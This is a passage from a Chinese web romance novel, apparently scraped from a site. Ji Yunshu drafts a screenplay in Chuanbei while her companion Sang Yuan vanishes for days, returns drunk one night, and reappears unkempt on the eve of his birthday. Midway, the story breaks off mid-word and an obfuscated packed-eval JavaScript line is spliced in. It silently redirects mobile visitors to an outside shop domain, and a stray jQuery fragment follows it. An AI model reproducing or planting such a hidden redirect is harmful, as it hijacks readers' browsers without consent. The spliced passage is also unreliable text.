桑原莞尔一笑:“咱们还没亲密到,我需要给你揭老底吧?”
纪云舒悻悻地转过头。她开始在脑海中重新考量桑原这个人。自己平时学生思维惯了,而桑原太低调了,让她总是潜意识认为他们是同一个level。但明显,首先他们的存款就不是一个level。
五十万?她不知道打工几年才能攒到,他却轻描淡写就捐赠了出去。
纪云舒后知后觉想,他是创业者,企业家,果然和她这种社畜打工仔不同。
*
终于结束了椅岭的旅行,下一站他们来到了川北市。
三周的旅行只剩下最后一周,而纪云舒决定推翻此前的剧本,全部重新写。
桑原特意定了一家离图书馆很近的星级酒店,纪云舒也顾不得太多了,放下行李就抱着电脑直奔图书馆。
桑原将她送进去,看到她进入工作状态就走了。纪云舒也默认他去忙自己的工作。
而踏出图书馆大门的桑原,很快拨出去一个电话。
“喂?向征,好久不见。你在北川吗?
“没什么,我正好来这边,想请你吃个饭。”
“不用,我请。今晚可以。你想怎么喝,我奉陪。”
打完电话,桑原给纪云舒发了一条消息:我今晚和朋友有约,你自己记得吃饭。不要一个人去太远的地方。
但纪云舒看到那条消息已经是晚上八点了。
她一投入就忘我的习惯还是改不了,而且因为灵感涌动应接不暇,她强行打断自己的思路已经很不容易了。
收拾了电脑,将一摞书放回收纳车上,她神清气爽地走出图书馆。
这些年一直都是吸纳式的学习输入,没想到创作输出这件事如此让人舒畅。她的性格一直都很喜欢做缜密的事情,而创作一段故事,就像密织一片网络,整个过程让她仿佛脱离了现实,进入自己打造的世界。
就像她曾经喜欢玩种田养成游戏一样,但显然,自己创作故事比养成游戏有趣太多了。
嗡嗡,手机传来震动,是桑原的消息:吃饭了吗?
纪云舒:刚出来,我去附近随便吃一口。
桑原:嗯,回去跟我说一声。
纪云舒:你还不回来?
那边沉默了一会儿,终于来了新消息:可能会晚点,不用管我。
纪云舒没再回复,她一个人在附近的面店吃面,想,来川北的第一餐,没想到是自己一个人孤零零吃。
他朋友多,去社交也正常。而她讨厌酒局,自然也不可能跟他一起去。
明明这么简单明了的事,为什么她内心却有种很小心眼的别扭呢?
有一种被他抛下的感觉。她明明曾经是非常自我,非常独立的一个人。没有朋友相陪时,也能从容应对孤单。
心不在焉地挑着面条,吃着吃着,她似乎就明白了。
在意才会介意。因为她开始慢慢在意桑原了。
*
晚上,纪云舒没有工作,而是靠在床头看着白天借的书,充实思路。一边还在关注门外的动静。
桑原就住在她对门。
可每次外面有声音,纪云舒冲过去趴在猫眼上看,发现都不是桑原。
她想给他发消息,问他怎么还不回来,又觉得这句话很像怨妇。
时针不知不觉指向凌晨一点,纪云舒在困得几乎昏迷时,再次听到外面走廊里电子锁的声音。
她马上惊醒,趿着拖鞋过去,一把拉开了门。
外面果然是桑原,他刚刚刷开了门,还没完全进去。听见身后的动静,转过头来。
昏昧的走廊灯光下,男人一手拎着外套,衬衫敞开了两颗扣,衣领歪歪斜斜,不见一丝端正。前额刘海微湿,双颊染着浓重的红色。
一副……刚刚鬼混完的模样。
一丝火气冒上她的心头。纪云舒知道自己没有立场生气,只能压抑着语气说:“这是喝了多少?”
“没多少。”桑原气息深重,明显也在强自保持镇定。
纪云舒没好气地走过去:“需要我去给你买解酒药吗?”
“不需要。”
“对了,我那里有果汁,听说果汁也能解酒。芒果和橙子,你想喝什么味的……”
桑原沉默地凝视她一开一合的红润薄唇,心头涌上难耐地冲动。
过量的酒精完全扰乱了他的心智,等回过神来的时候,他已经将她压在墙壁上,额头抵着额头。
他热热的呼吸喷在她的脸上,酒精味道刺鼻。
纪云舒瞪大眼睛,屏住呼吸,盯着他一动都不敢动。
一秒,两秒,三秒……
他望进她水波荡漾的、天真讶异的眼眸里,理智终于挤出欲望的缝隙。
“不喝。”
说完他放开她,头也不回地进了房间,啪地一声重重合上房门。
被拒之门外的纪云舒:“……”
不、不喝就不喝,干嘛要一副打人的模样,莫名其妙。
纪云舒顺一口气,迈步回了自己房间,以同样的方式甩上了门。
因为睡得晚,第二天,纪云舒八点多才睁开眼。
她还耿耿于怀桑原昨天的晚归,而且对她态度不好,她快速洗漱完,穿好衣服,就去对面拍门。
结果拍了半天……她终于确定,里面没人。
纪云舒叉腰站在走廊里,感觉气不打一处来。
他昨天晚上明显都醉得神志不清了,居然大早上又不见了。
这家伙到底在干嘛?
她气闷地点开手机,发现桑原七点多就给她发了条消息——
“酒店五楼有早餐。我有事出去一趟,晚上不一定回来。你好好写剧本,别乱跑。”
看完后纪云舒更生气了。
到底什么事神神秘秘的,连晚上都不能回来,把她一个人扔在这里。椅岭一起经历过洪水后,明明二人的关系更亲密了一些。可他连自己失踪的原因都不肯告诉她。
到底是错付了!
纪云舒气鼓鼓回到房间,利落地收拾了东西前往图书馆。
男人就是不靠谱,还是得搞事业!
看我想出牛批的IP,写出绝顶的剧本,振兴国漫不带你!
怀着这样的心态,纪云舒一整天文思泉涌,效率极高。回津南在即,她必须抓紧时间让自己的东西成型,绝不让蔡聿鸣看轻。
而且……她本来想着早早写完剧本,和桑原游川北的。
但他似乎比她还要忙。
他的事业明明在津南,所以到底是什么事,在他心中比她还要重要?
*
当天晚上,桑原果然没有回来。
第二天也是,只在晚上给她发来报平安的消息,顺便问问她的情况。纪云舒就给他回复一个两个字。
第
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355707|140719||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
三天,因为没有男人打扰,且心中憋着一股气和劲儿,她这几天效率超高,基本上已经完成成型的剧本,就剩更加精细的打磨,但已经足够可以给蔡聿鸣过目。
傍晚从图书馆出来,虽然浑身酸痛,但纪云舒心情轻松许多。总算能好好享受一下剩余的旅程,可惜有的人不在。
他不在,她也要过得开心!说不定他跟谁玩得更开心呢!
怀着这样的心态,纪云舒回去放下电脑,特意挑了一件辣妹连衣裙,稍微化了点妆,就一个人坐地铁去逛最热闹的夜市。
吃吃喝喝买买一圈,她坐在某家冷饮店外休息时,发现隔壁是一家银饰手作店。
之前的旅行中,她不经意看到过桑原的身份证,莫名奇妙就记住了他的生日——6月27日。
也就是明天。她一直有心想给他买件生日礼物。
刚刚逛街时,她淘到一个丑萌的、壮壮的陶制站立熊,不自觉回想起他跟着她进入矮楼道时,自己对他说:“你好像一只大熊,非要钻进来不属于你的洞穴。”
于是她买下来准备送给他。但还是太简陋了,看到银饰店,她便想起他送给她精致的饰物。
虽然银和他送她的项链相比,价值不算高,但是她亲手制作的,他应该不会嫌弃。
这样想着,纪云舒走进了手作店,在老板的指导下,一步步做起来。
因为不知道桑原手指的尺寸,就做了开口型的。还选了一堆乱七八糟的小图案,有星星、元宝、lucky、小猪头……
每一个都有特殊含义。
印猪头的时候她心情变得好了一些,忍着笑认真錾刻打磨,因为手生,还被打磨头不小心戳到了手,出了点血。但时间越来越晚,店主为她处理了伤口,包上创口贴。她马不停蹄继续做。
心满意足地带着成品走出手作店,已经接近十二点。
坐上末班的地铁,她才看到桑原发来的问她在哪的消息,还有几通电话,今天在图书馆调了静音忘了调回来,加上电量就剩个位数,所以她没有给他打回去电话,只回消息说:在酒店。
反正他今天估计又不在,撒谎有什么关系。
怀着这样故意又逆反的心思,纪云舒开开心心回到酒店,结果出了电梯,刚拐进走廊,就看到朦胧光影中靠墙站立的黑色影子。
是桑原!
她的心咯噔一下,有谎言被拆穿的尴尬,但更多的是他终于回来的欣喜。
差不多三天没见,除了投入工作的时刻,她都在没完没了地想他。
但在喜悦中,积攒好几天的气闷一股脑涌上心头。她的愧疚烟消云散,挺直腰板向他走去。
桑原回过头,上上下下打量一眼穿着黑色吊带裙、长发如波如浪妖艳披散的女人。
“去哪了?”
“那你去哪儿了?”纪云舒环起白皙纤细的手臂,不客气地反问。
她发现他的下巴居然长出了青色的胡茬,黑发乱糟糟的,神色倦态,黑眼圈浓重,整个人有种风尘仆仆的泥土气息,再仔细看,他的指缝似乎都藏着黑色的污泥。
就像是……去哪儿进行了一场劳动改造。
桑原短暂沉默,没有回答反而问她:“剧本写得怎么样?”
纪云舒语调轻松地回他:“差不多了。”
“那明天晚上的时间空出来好不好?”他用黑沉沉的目光看着她,她的心不知为何漏跳一拍。